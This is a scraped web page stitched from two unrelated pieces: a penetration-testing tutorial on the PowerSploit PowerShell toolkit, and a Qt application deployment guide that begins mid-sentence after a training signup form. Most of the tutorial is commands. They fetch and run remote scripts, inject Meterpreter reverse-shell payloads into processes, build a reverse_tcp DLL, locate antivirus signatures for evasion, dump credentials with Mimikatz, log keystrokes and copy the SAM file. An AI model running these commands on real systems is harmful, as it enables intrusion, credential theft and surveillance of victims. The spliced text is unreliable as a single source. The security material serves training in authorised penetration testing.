PowerShell Toolkit: PowerSploit - InfoSec Resources
PowerShell Toolkit: PowerSploit
on January 8, 2015
Ethical Hacking Boot Camp
Our most popular course!
PowerSploit is a collection of PowerShell scripts which can prove to be very useful during some exploitation and mostly post-exploitation phases of a penetration test.
To get the latest version of PowerSploit:
If you have GIT, then you can simply run the following command to get all files from the github repository:
git clone /mattifestation/PowerSploit.git
To run PowerSploit scripts, you should have Microsoft PowerShell installed. It comes installed on Windows 7 and above operating system versions.
Here, the current scenario is: we have a remote desktop connection to the victim machine (Windows 7 Ultimate 64-bit) which has PowerShell installed, and we run PowerSploit tools on it.
For our ease to access and run PowerSploit scripts on the victim machine, we start a web server using Python:
python -m SimpleHTTPServer
Now all the files in the PowerSploit directory can easily be accessed over http://&ip_address&:8000/
PowerSploit has categorized all the scripts in a pretty clear and organized manner:
Description
Antivirus Bypass
Find bytes of a file which has a matching signature in antivirus.
Code Execution
Used to execute code on victim machine.
Exfiltration
Manipulate and collect information & data from victim machine(s).
Persistence
Maintain control to machine by adding persistence to scripts.
Handy PowerShell cmdlets for enumeration.
Perform reconnaissance tasks using victim machine.
Reverse Engineering
Help perform reverse engineering & malware analysis. It has now been moved to PowerShellArsenal.
Script Modification
Create and manipulate scripts on victim machine.
In this article, as many PowerSploit scripts will be covered as possible. Those not covered are left for the reader to try and test. Depending upon the script you run, it might require a certain environment to work (like an Active Directory for some scripts in Exfiltration).
Install and run a PowerShell script:
IEX (New-Object Net.WebClient).DownloadString(“http://&ip_address&/full_path/script_name.ps1”)
This command when run in PowerShell will install that PowerShell for the current process of PowerShell only.
Invoke-Shellcode
This cmdlet can be used to inject a custom shellcode or Metasploit payload into a new or existing process and execute it. The advantage of using this script is that it is not flagged by an antivirus, and no file is written on disk.
We can easily install the Code Execution PowerShell script “Invoke-ShellCode” using:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/CodeExecution/Invoke-Shellcode.ps1”)
Run the above command in a PowerShell window to install “Invoke-Shellcode” script.
To get some information about the module type:
Get-Help Invoke-Shellcode
Inject payload into the current PowerShell process and receive a Meterpreter Reverse HTTPS shell:
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 10.0.0.14 -Lport 4444 -Force
Also we had setup a Multi Handler exploit and compatible payload in Metasploit. Executing the above PowerSploit script will give us a Meterpreter shell.
Please note that at the time of writing this article, only two Metasploit payloads are supported:
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
If you want to inject into some other process, you can either create a new process and then inject in it or inject inside an existing process.
Inject in an existing process:
Get Process ID (PID) of a process using “Get-Process”.
Note that the “Id” field is the Process ID (PID) of the corresponding process name.
Inject the Metasploit payload into “svchost” process with PID 1228. Note that I have removed “-Force” switch from the command, due to which it is asking for user confirmation now before injecting payload.
After injecting the shellcode, we receive a Meterpreter shell on the attacking machine, as shown below:
Inject in a new process:
Create a new hidden process and inject the payload into it:
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
And we got a Meterpreter shell on the attacking machine:
Invoke-DllInjection
This cmdlet is used to inject a DLL file into an existing process using its Process ID (PID). Using this feature, a DLL can easily be injected in processes. The only disadvantage with this cmdlet is that it requires the DLL to be written on the disk.
We can easily install the Code Execution PowerShell script “Invoke-DllInjection” using:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/CodeExecution/Invoke-DllInjection.ps1”)
Generate the Metasploit Meterpreter DLL and download it on the server:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.14 LPORT=4444 -f dll & msf.dll
Upload this DLL onto the victim machine using an HTTP download or any other medium of your choice.
Create a process in hidden mode and inject the DLL into it.
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
Invoke-DllInjetion -ProcessID 2240 -Dll c:\users\master\Desktop\msf.dll
We received a successful Meterpreter shell on the attacking machine:
Find-AVSignature
This cmdlet is used to split a file into specific byte sizes. The split bytes are stored in separate files, which will be detected by the installed antivirus and quarantined or removed. By noting the removed files, we can easily find the parts of file which have the AV signature.
We can easily install the AntiVirus Bypass PowerShell script “Find-AVSignature” using:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/AntivirusBypass/Find-AVSignature.ps1”)
Running “Find-AVSignature” on a Meterpreter Windows executable:
Find-AVSignature -StartByte 0 -EndByte 6144 -Interval 50 -Path C:\test\exempt\nc.exe -OutPath c:\users\master\Desktop\msf.exe -OutPath c:\users\master\Desktop\run1 -Verbose
The installed antivirus detected malicious files and we can see bytes with the AV signature:
Now we can see the bytes of “msf.exe” containing AV signatures.
Get-DllLoadPath
This cmdlet can be used to find the path at which an executable looks for the DLL we are querying for. For example, we want to know at what location “cmd.exe” is looking for the “shell32.dll” DLL file. Using this information, we can replace the original DLL with a malicious DLL and get it executed to receive a reverse shell or any other task. This technique can be very useful for privilege escalation.
We can easily install the PE Tools PowerShell script “Find-DllLoadPath” using:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/PETools/Get-DllLoadPath.ps1”)
Find where “Acrobat.exe” loads “shell32.dll” DLL from:
Get-DllInjection –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.dll
Invoke-Portscan
This cmdlet is used to run a port scan on other hosts and find open ports. You will find a number of similarities between Nmap and this cmdlet, but not all.
We can easily install the Recon PowerShell script “Invoke-Portscan” using:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Recon/Invoke-Portscan.ps1”)
Run a port scan for a list of hosts and ports:
Invoke-Portscan -Hosts 10.0.0.1,10.0.0.2,10.0.0.7,10.0.0.14 -Ports &#,21,89”
There are a number of options using which you can customize the port scan. Use “Get-Help Invoke-PortScan –full” for all options.
It also supports saving output in files just like Nmap (GNMAP, NMAP and XML) using -oG, -oX and -oA switches respectively.
Invoke-ReverseDnsLookup
This cmdlet is used to find the DNS PTR record for corresponding IP address(es).
We can easily install the Recon PowerShell script “Invoke-ReverseDnsLookup” using:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Recon/Invoke-ReverseDnsLookup.ps1”)
Execute the cmdlet using the below command which accepts IP or IP range in “-IpRange” switch:
Invoke-ReverseDnsLookup -IpRange &IP_Address/Range&
Unfortunately, it does not support comma separated values or file input of ranges like 173.194.117.1-50.
It accepts only single IP or CIDR format for IP range.
Get-HttpStatus
This cmdlet is used to dictionary a web server to find HTTP Status of a path or file on HTTP/HTTPS service. It is not very feature rich and does not support a nested dictionary attack. It accepts a file containing path name or file name to check for HTTP Status on a web server.
We can easily install the Recon PowerShell script “Get-HttpStatus” using:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Recon/Get-HttpStatus.ps1”)
Execute this cmdlet using the following command (the dictionary file is that of DirBuster):
Get-HttpStatus -Target 10.0.0.7 -Path c:\users\master\Desktop\directory-list-2.3-small.txt
If the website is running on SSL, you can use the “-UseSSL” switch to send HTTPS requests:
Get-HttpStatus -Target 10.0.0.7 -Path c:\users\master\Desktop\directory-list-2.3-small.txt -UseSSL
If the service is running on some other port like , etc, for defining a port use the “-Port” switch.
Get-HttpStatus -Target 10.0.0.7 -Path c:\users\master\Desktop\directory-list.txt -Port 8080
It is not as good as the DirBuster tool, but it’s good to have the PowerShell script too.
Get-Strings
This cmdlet is used to find Unicode or ASCII characters in a file. It is similar to what we have in UNIX based systems, the “strings” utility.
We can easily install the Reverse Engineering PowerShell script “Get-Strings” using:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/ReverseEngineering/Get-Strings.ps1”)
Get-Strings -Path &file_name_with_path&
It is similar to the “strings” utility that we have in Linux. But here we have it for PowerShell ?
Note that Reverse Engineering has been moved from PowerSploit to PowerToolsArsenal () now.
Invoke-Mimikatz
This cmdlet is a port of the original Mimikatz project in PowerShell. The benefit of using this over the Mimikatz executable is that it remains in memory. It can be used to dump credentials, certificates, etc from the local computer or other computers in the domain.
It is one of the most useful PowerSploit tools in a penetration testing engagement.
We can easily install the Exfiltration PowerShell script “Invoke-Mimikatz” using:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Exfiltration/Invoke-Mimikatz.ps1”)
Dump credentials using: Invoke-Mimikatz -DumpCreds
You can even dump credentials and certificates of other computers using -ComputerName @(“computer1,….)
Get-Keystrokes
This cmdlet is used to log the keystrokes which are pressed on the victim machine. It can be used as a keylogger. But all the logged keystorkes are stored in a local file on default (temp directory) or custom location.
We can easily install the Exfiltration PowerShell script “Get-Keystrokes” using:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Exfiltration/Get-Keystrokes.ps1”)
This cmdlet can be executed using the following command:
Get-Keystrokes -LogPath c:\users\master\desktop\keylogger.txt
Key log is stored in: c:\users\master\desktop\keylogger.txt
This script also supports “-CollectionInterval” using which you can define after how many minutes keystrokes should be captured. Do note that the key logging is very detailed, containing pressed button, username, application name and timestamp.
Invoke-NinjaCopy
This cmdlet is used to copy protected files which cannot be copied when the operating system is running.
We can easily install an Exfiltration PowerShell script “Invoke-NinjaCopy” using:
IEX (New-Object Net.WebClient).DownloadString(“http://10.0.0.14:8000/Exfiltration/Invoke-NinjaCopy.ps1”)
Execute “Invoke-NinjaCopy” using the following the command to copy the protected “SAM” file:
Invoke-NinjaCopy -Path “C:\Windows\System32\config\SAM” -LocalDestination “C:\Users\master\Desktop\SAM”
When you try to perform the same operation using the “copy” command, the file cannot be copied:
Interference Security is a freelance information security researcher. Experience gained by learning, practicing and reporting bugs to application vendors. CEH certified but believes in practical knowledge and out of the box thinking rather than collecting certificates. Always open to learning more to enhance his knowledge. Information security is a hobby rather a job for him. Builds tools to automate testing and make things easier.
Editors Choice
Related Boot Camps
More Posts by Author
File download
First Name
Work Phone Number
Work Email Address
Does your employer pay for training?
InfoSec institute respects your privacy and will never use your personal information for anything other than to notify you of your requested course pricing. We will never sell your information to third parties. You will not be spammed.
What is Skillset?
Practice tests & assessments.
Practice for certification success with the Skillset library of over 100,000 practice test questions. We analyze your responses and can determine when you are ready to sit for the test. Along your journey to exam readiness, we will:
1. Determine which required skills your knowledge is sufficient
2. Which required skills you need to work on
3. Recommend specific skills to practice on next
4. Track your progress towards a certification examOnce you’ve built your first Qt program, have you tried it on another PC?
(Post updated and simplified! Thanks to JKSH on the .)
Maybe you’ve gotten past .DLL errors, instead you’re stuck on errors like these?
If you’ve experienced this, then this blog post is for you :-) &
(Start your app in Terminal to see this)
(Same here, Finder only says “App quit unexpectedly”, launch your app in Terminal to see this)
(Want to skip the tourist talk? .)
If you look at newer languages like Google’s , you’ll find an Everything and the Kitchen Sink&-flavored approach to deployment. After you’ve written and debugged a Go program, you issue the go build command. The result is an .EXE file with minimal dependencies on the DLLs, in Windows for example it’s just the usual suspects like KERNEL32.DLL etc. People sometimes complain though, because even a simple ‘Hello World’ app weighs in to an approx. 2MB .exe file. But deployment problems are more or less nonexistent.
Qt has (as you’ve probably discovered) the complete opposite design. From things like .h files that are designed this way (a humongous file like Windows.h is frowned upon) to the delegation of .DLLs that Qt uses for plugins, platform independency etc. Partially this stems from the early 90’s when Qt was initially designed (in those days, deploying a 2MB .exe could constitute a career-limiting move) but probably mostly because it supports so many different architectures and OS’es.
Now, to simplify deployment of Qt apps to other PCs, you can rebuild all or parts of Qt statically. In some environments that makes sense, but I think in general you’re better off following this dynamic library approach.
(Updated November 16, 2014 for Qt 5.4)
First let’s look at the stuff you get when you download and install Qt. You can use the online or the offline installer. To simplify this blog post, let’s focus on the online installer. It will prompt you for the main Qt install directory, the default is ~/Qt for Mac and Linux and C:\Qt for Windows systems. The offline installer instead will default to a version specific directory, for Qt 5.4.0 it will prompt you with something like C:\Qt\Qt5.4.0 for MinGW on Windows. The files installed will be the same anyway, let’s assume you go with the online installer and accept the default directory name Qt. Inside that directory will be a couple of subdirectories, like Examples, Docs and Licenses. On Windows and Linux there will be a subdirectory called Tools which contains Qt Creator, Qt’s IDE (on the Mac there is no Tools subdirectory, instead there’s a Qt Creator.app).
Important: that Tools subdirectory contains a version of Qt deployed for Qt C copying those files from the Tools directory will give you Bad Karma because they are customized for Qt Creator and *not* for your apps. Instead, look in the other directory created, for Qt 5.4 it’s 5.4; it contains a subdirectory named after the compiler you selected, like clang_64, gcc_64, mingw482_32, msvc2013 etc., that’s where you’ll find the compiler specific Qt files which can be distributed safely to other computers. I’ll be referring to that one as the compiler directory in this blog post. (And inside it are the important bin, lib and plugins subdirectories, more on that later.)
So let’s start by looking at deployment of an absolute bare bones app, let’s call it HelloQt. In Qt Creator, select a new Project, Applications and a Qt Widgets application. Click through and accept all the default choices. Once you’re in the project, switch it to Release mode. This is to simplify deployment, and if you’re using Visual Studio as your compiler, Microsoft disallows copying any of the debug .DLLs to another computer.
Also: apps compiled in release mode with the MingGW compiler for Windows, actually will tell you more than when they’re compiled in debug mode, for example that message about not finding the Qt platform plugin which this blog post is all about, will only be displayed in release mode.
Right now don’t edit or add any code, for our purposes an empty app window will do just fine. Just build our fancy app in Qt Creator, then make a test directory on another computer that has no Qt installed. Depending on your OS and compiler, the files you then need to copy vary slightly:
Windows compilers:
(update Nov. 16 2014: What about Visual Studio 2015, does it work with Qt?
Haven’t tested yet, but I’m guessing it will do just fine)
(note: the screen dumps are still from Qt 5.3, not yet from Qt 5.4, so the icu*.dlls should instead be icudt53.dll etc. But you’ll get the idea anyway I think…)
MinGW 32-bit compiler
Bare bones MinGW deployment
Bare bones MinGW platforms directory
The qwindows.dll file in the platforms directory above, you’ll find and can copy from compiler directory\plugins\platforms, the other files you’ll find in compiler directory\bin.
(What’s that compiler directory you ask? Look in the text above for an explanation. For MinGW installed with the online installer the default directory is C:\Qt\5.4\mingw482_32)
The HelloQt app should now run fine on the other Windows computer.
Visual Studio 2013 32-bit and 64-bit compilers:
Bare bones VS2013 32-bit and 64-bit deployment &
Bare bones 32-bit and 64-bit platforms directory
The qwindows.dll file is in compiler directory\plugins\platforms and the other files you’ll find in compiler directory\bin. Let’s not forget the 2 compiler specific files msvcr120.dll and msvcp120.dll, I usually copy them from C:\Windows\SysWOW64 on my development PC.
For 64-bit app deployment the file setup above is identical, but beware: the 2 compiler files msvcr120.dll and msvcp120.dll you instead find in C:\Windows\System32. The HelloQt app should now run equally well on the other computer.
Again: note that the 32-bit MSVC DLL files are in SysWOW64 and the 64-bit files are in System32. Makes perfect sense, agreed?
(update Nov. 16, 2014:) Q: “No, it does not make perfect sense, please enlighten me, o great guru”
&history_rant& In the beginning there was Windows 1.0, it had a C:\Windows directory, inside it was a System subdirectory and there was much rejoicing. Then a software called Chicago a.k.a. Windows 95 was released upon the world. It supported 32-bit Windows apps, those apps required 32-bit flavored infrastructure like DLLs and drivers, and some of those files were identically named as their 16-bit siblings. Solution: put those files in another System subdirectory and call that (surprise!) System32. All was well again and rejoicing resumed.
A new century and 64-bit computing arrived. The naive among us expected the creation of a 3rd subdirectory called System64, for housing the new fancy 64-bit Windows infrastructure. But alas, it was not to be
Because a fear had spread upon the land, a fear that System32 had become too popular and too ingrained. The belief was that the necessary migration to System64 would cause intolerable pain and suffering and perhaps taint the perceived quality of the Windows product. Succumbing to this fear, it was decided that for all 64-bit Windows releases, System32 was to be the home for the 64-bit infrastructure and the old (32-bit) content of System32 was instead to be ignominiously shuffled away into a new subdirectory called SysWOW64. Thus, it was believed, 64-bit Windows should be able to accommodate even those developers that wanted to ascend to 64-bit computing but had fumbled and put hardwired strings like “System32” into their apps. (BTW, a similar kind of decision was also taken for C:\Program Files, so that it would contain the 64-bit apps and 32-bit apps would instead be stored in C:\Program Files (x86).) And that’s the story how we ended up with 32-bit DLLs in SysWOW64 and 64-bit DLLs in System32.
Today, more than 10 years later, I think giving in to that fear was a humongous mistake. Until all 32-bit Windows installations are gone, every day some developer will have to think and spend extra time deciding which directory is correct for picking up the compiler files and similar stuff. If a System64 directory had been created there would be less confusion. &/history_rant&
Q: “I copied the msvcr120.dll and msvcp120.dll files as you said, why do I get error 0xc000007b when I try to launch my app on the other computer?”
This error occurs when a 64-bit app requests a DLL and a 32-bit version of it is incorrectly loaded, or the other way around, i.e. a 32-bit app loads by mistake a 64-bit DLL. Usually this is because you copied msvcr120.dll and/or msvcp120.dll from the wrong directory (either C:\Windows\System32 or C:\Windows\SysWOW64, also see my rant above).
Q: “I copied everything ok, but when I try to launch I get a dialog box: “not a valid Win32 application” why?”
If the other computer has Windows XP or Windows Server 2003 you’ll get this error. To get around it, you need to add a linker setting for your project in Qt Creator, I’ll show you how in the next blog post about XP/2k3 deployment.
Visual Studio 2013 32-bit and 64-bit OpenGL compilers:
Bare bones VS2013 OpenGL 32-bit and 64-bit deployment &
Bare bones VS2013 OpenGL 32-bit and 64-bit platform directory
This deployment is almost identical to the non-OpenGL versions above, but slightly easier since there are no libEGL.dll and libGLESv2.dll dependencies. So the qwindows.dll file is in compiler directory\plugins\platforms and the other files you’ll find in compiler directory\bin. And don’t forget the two compiler specific files msvcr120.dll and msvcp120.dll.
Visual Studio 2012 32-bit OpenGL compiler:
Bare bones VS2012 32-bit OpenGL deployment &
Bare bones VS2012 32-bit OpenGL platform directory
The qwindows.dll file is in compiler directory\plugins\platforms and the other files you’ll find in compiler directory\bin. Note that the two compiler specific files in this case are msvcr110.dll and msvcp110.dll.
Visual Studio 2010 32-bit compiler:
I have to confess to some laziness here, I haven’t tried recently with VS2010. But it should be the almost exactly as the VS2012 deployment above, except that the compiler specific DLLs are instead msvcr100.dll and msvcp100.dll. Good news: deploying apps built with this compiler to Windows XP or Windows Server 2003 presents no problems.
Linux GCC 32-bit and 64-bit compilers:
Debian/Ubuntu GCC bare bones deployment files
Debian/Ubuntu GCC bare bones deployment, platform directory
Here the platform file is called libqxcb.so, it can be found in compiler directory/plugins/platforms. The other files are in the compiler directory/lib directory (note: not the bin directory as on Windows above). There are no compiler specific .so files, it’s assumed the Linux system you’re targeting is up to scratch re. the libc.so, libgcc_s.so etc files. I suppose if the other Linux is really old this could be a showstopper, I haven’t looked into that possible malaise yet.
Note that the .so files in the /lib subdirectories are installed by the Qt installer in 4 incarnations: 3 symbolic links and 1 real McCoy, e.g. libQt5Core.so, libQt5Core.so.5 and libQt5Core.so.5.4 are symbolic links to the “real” file libQt5Core.so.5.4.0.
However, when you list HelloQt’s DLL dependencies, for example typing "ldd HelloQt" in Terminal, you’ll see that the requested .so files are suffixed with just .5, when I copy the files I also rename the real McCoy file from xxx.5.4.0 to xxx.5 and toss the 3 symbolic chaps. (That’s why it’s only one of each above in the screen dumps.) This keeps the no. of files down, also sometimes symbolic links can become roadkill during transit, if you’re zipping them or copying via SMB to a Windows server etc. But you can of course equally well go ahead and copy all 4 of them.
Update: in Qt 5.4, I noticed that the 3 libicu*.so Unicode files now are installed in 2 incarnations, one *.so.53 which is the symbolic link (the one HelloQt looks for) and the *.so.53.1 which is the real thing. So we’re applying the same algorithm here, copied and renamed the 3 real files and skipped the symbolic links.
When you copy the files shown above to another Linux computer, if you try to launch the HelloQt app you’ll most likely get this error:
(On Ubuntu systems the app might run anyway because a fairly recent Qt is included in their distro, more on that below.)
The reason for this is that the .exe/ELF file is built to look for Qt’s .so files assuming the same library path to them as on your development machine. Even though we’ve copied all the needed .so files (and the platform subdirectory) into the same directory as our app .exe/ELF file, those .so files are ignored in Linux. But we would like to have the same behavior as on W i.e. that Linux when loading the .so files also looks for them in the same directory as the .exe/ELF file is in.
There is a way to accomplish this, by editing that pre-wired path setting, actually it’s called the
and you can choose to make that change either A) when building the app or B) as a command in Terminal after the build (or on existing .exe/ELF files).
A) When building the the app: Qt (actually the linker) normally sets the RPATH just pointing to the .so files where Qt’s installer put them (for example in my case /home/henry/Qt/5.4/gcc_64/lib) which of course is fine and dandy for your development machine but less so for the other Linux PC.
However we can tweak that setting by adding a line to our project’s .pro file (I usually put it at the end of my .pro file):
QMAKE_LFLAGS += -Wl,-rpath,"'\$$ORIGIN'"
What we want is to insert the magic word $ORIGIN as the first RPATH setting, this will cause Linux to look for .so files to load in the same directory as the .exe/ELF file. (The extra decoration "'\$...'" is needed for surviving the heavy munging during the build process before arriving at the linker.)
Actually we can equally well use “.” as an RPATH (i.e. QMAKE_LFLAGS += -Wl,-rpath,"." this will perform the same feat as $ORIGIN) but the docs advise us to use $ORIGIN, so $ORIGIN it is.
(Note: there are a couple of other .pro file flag commands available for this, for example: QMAKE_RPATHDIR += ":'\$$ORIGIN'" but I prefer QMAKE_LFLAGS += ... because it causes $ORIGIN to appear as the first RPATH.)
B) A command in Terminal: in typical Linux fashion there’s also a utility for setting RPATHs: , which you can install and run like this:
sudo apt-get install chrpath
chrpath -r \$ORIGIN HelloQt
(replace apt-get with the download command of your favorite distro if needed)
The $ORIGIN (\ is needed for quoting the $) keyword means the same as above: look for .so files in the same directory first, in other words, emulate Windows .DLL lookup behavior. Also here you can use "chrpath -r . HelloQt" but the docs (as I mentioned above) advises against it.
Note: we only need to apply chrpath on our main .exe/ELF file, Qt’s .so files already have their RPATHs set to $ORIGIN, i.e. they expect to find each other in the same directory.
BTW, you don’t need to install chrpath on the other PC, you can do that on your development machine, i.e. prepare the .elf file before shipping (unless of course you instead opted for that extra QMAKE_LFLAGS… line in your .pro file).
Q: “Not correct, Qt plugins/platforms .so files have their RPATHs set to $ORIGIN/../../lib, not just only $ORIGIN”
Indeed I’ve seen that, while the .so files in the Qt’s lib directory have $ORIGIN, all the .so files in the plugins directory are wired differently. Note that those .so files are loaded by Qt itself and not by Linux (more on that in an upcoming blog post), so I suspect the RPATH setting is irrelevant anyway. Matter of fact, I tested this:
cd platforms
chrpath -r grapefruit libqxcb.so
HelloQt started fine in spite of not having any grapefruit directory
Q: “But on my Ubuntu machine HelloQt runs anyway, don’t need chrpath!”
Yes, that’s because Ubuntu comes pre-installed with Qt library files. For example, Ubuntu 13.10 comes with Qt 5.0.2. It’s pretty neat but comes with one danger: what happens if you rely on a Qt feature that was introduced after 5.0.2, like SerialPort? You’ll get an error: “libQt5SerialPort.so.5” not found, even if you do copy that .so file from your Qt machine. To refrain from diving into one of Dante’s nine “DLL Hells”, I suggest always stick to the plan of applying chrpath to your apps.
Update: User sunsina on the
suggested a more sophisticated deployment approach: put the Qt’s .so files in a subdirectory called qtlibs:
(Note: picture isn’t updated yet to Qt version 5.4)
Debian (or Ubuntu) alternate Qt installation
To get this setup up and running, we just need to apply a different chrpath setting to our .elf file:
chrpath -r ./qtlibs HelloQt
It’s a good point, just because Windows looks for DLLs in the current directory by default, that doesn’t mean we have to go for the same approach here.
Mac clang compiler:
The algorithm we’ve used above for Windows and Linux, to copy the executable file and the needed .dlls together and making sure no mixing of 32 and 64-bit f on the Mac that’s regarded as a clueless all thumbs approach to app deployment. To paraphrase Obi-Wan speaking about his light saber: “not as clumsy or random as a simple app directory, the app bundle is an elegant weapon for a more civilized age.” And it’s hard to argue, the app bundle is a great invention, installing and uninstalling apps couldn’t be simpler.
So, when you build your app with QtCreator you’ll get an app bundle, do a “Show Package Contents” in Finder, open the Contents folder to see the bundle in all its glory:
App contents before macdeployqt
Now, if you copy the app bundle (HelloQt.app) to another Mac and try to launch it, it will fail. Right now it’s mostly an empty shell, none of Qt’s DLLs (frameworks and dylibs) are present. The executable file, for example, is set to load QtCore.framework and the other frameworks from where you installed Qt.
So while the app bundle is fine and dandy on your development machine, it clearly needs some more stuffing before you can deploy it to another Mac. I used to do this manually until I read on Qt’s website about a handy utility included in Qt’s installation that helps you with this, it’s called . You can find it in your ../clang_64/bin directory.
Here’s an example, we’ll run it on our HelloQt app, using Terminal: Using macdeployqt from Terminal
It’s designed according to the paradigm “no news is good news”, i.e. if you don’t see any error messages, it all went well and the size of your app bundle should have grown. In the case of the HelloQt app from about 100 kbytes to 20 MBytes. Let’s open the Contents folder again:
App contents after macdeployqt
Now, if you copy this 20MB bundle to another Mac, it should run just fine. macdeployqt does a lot of install_name_tool invocations and other shuffling that (believe me!) you should be very glad not to have to do yourself.
For deployment problems, the first tool you need to learn on the Mac is otool (the devs who wrote it were watching Lawrence of Arabia with Peter O’Toole at the time, no just kidding!). Example: to see what .dylibs our app needs, do:
otool -L .../HelloQt.app/Contents/MacOS/HelloQt
Note: once you’ve run macdeployqt on your app bundle, don’t reopen that project in QtCreator!
If you do, you’ll see these kind of messages when you build and launch your app again: QtCreator does *not* like projects that macdeployqt has visited
The cure is easy: just delete the build folder (which contains the app bundle), then you can start working on your app in QtCreator again.
Android and iOS:
Interesting new Qt platforms but I haven’t gone there yet! I’ll update this blog post when I do.
So far I’ve covered how to deploy a bare bones app. Once past this hurdle, deploying real apps that depend on Qt libraries like ODBC, MySql, Sensors, QtQuick etc. follows the same approach.
Next blog post: deploying to Windows XP and Windows Server 2003.
Update: now when you know a bit more on how to deploy Qt apps, I’ve written a
on why the deployment works the way I’ve written about above.
Categories: ,
29 thoughts on &Deploying Qt or how to avoid “could not find or load the Qt platform plugin”&}